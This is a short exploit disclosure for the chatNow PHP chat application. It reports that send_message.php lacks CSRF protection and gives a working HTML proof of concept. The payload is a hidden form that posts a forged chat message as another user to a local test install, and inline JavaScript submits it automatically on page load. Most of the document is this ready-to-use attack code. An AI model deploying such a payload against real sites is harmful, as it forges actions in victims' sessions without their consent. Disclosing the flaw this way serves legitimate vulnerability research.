# Exploit Title: chatNow - CSRF(Send MSG) # Date: 2016-08-23 # Exploit Author: HaHwul # Exploit Author Blog: www.hahwul.com # Vendor Homepage: http://chatnow.thiagosf.net/ # Software Link: https://github.com/thiagosf/chatNow/archive/master.zip # Version: Latest commit # Tested on: Debian [wheezy] ### Vulnerability 'send_message.php' is not check the csrf token or referer header. It is possible CSRF Attack. ### Attack Code <form name="csrf_poc" action="http://127.0.0.1/vul_test/chatNow/send_message.php" method="POST"> <input type="hidden" name="to_user" value="0"> <input type="hidden" name="scroll_page" value="on"> <input type="hidden" name="id_user" value="2"> <input type="hidden" name="message" value="CSRF"> <input type="hidden" name="reserved" value="false"> <input type="submit" value="Attack!"> </form> <script type="text/javascript">document.forms.csrf_poc.submit();</script>